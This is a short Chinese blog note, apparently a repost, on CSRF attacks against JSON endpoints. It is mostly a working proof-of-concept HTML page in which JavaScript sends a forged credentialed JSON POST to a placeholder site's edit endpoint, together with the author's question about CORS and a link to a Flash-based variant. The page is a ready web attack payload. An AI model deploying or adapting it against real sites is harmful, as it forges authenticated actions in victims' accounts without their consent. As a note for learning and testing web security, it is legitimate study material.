CSRF与JSON

之前遇到提交json的请求想要进行csrf攻击都是用的闭合表单的方法,很笨很麻烦,

这次看到了别人的操作记录一下.

这里用到了ajax异步请求(但是这里我有个疑问就是:这里用到了cors跨域,是不是必须服务器端也支持cors且又配置错误的情况才可以用此方法?待验证)

<html>  

<body>    

<script>      

function submitRequest()    {      

     var xhr = new XMLHttpRequest();      

     xhr.open("POST", "http://www.xxx.com/webnet/edit", true);        

    xhr.setRequestHeader("Accept", "*/*");        

    xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");        

    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");        

    xhr.withCredentials = true;          //带上cookie

    xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});    }    

</script>    

<form action="#">      

<input type="button" value="Submit request" onclick="submitRequest();"/>    

</form>  

</body>

</html>

看到别人还有用flash文件来进行攻击的情况,也记录下

https://www.freebuf.com/articles/web/155189.html

猜你喜欢

转载自www.cnblogs.com/jinqi520/p/9930837.html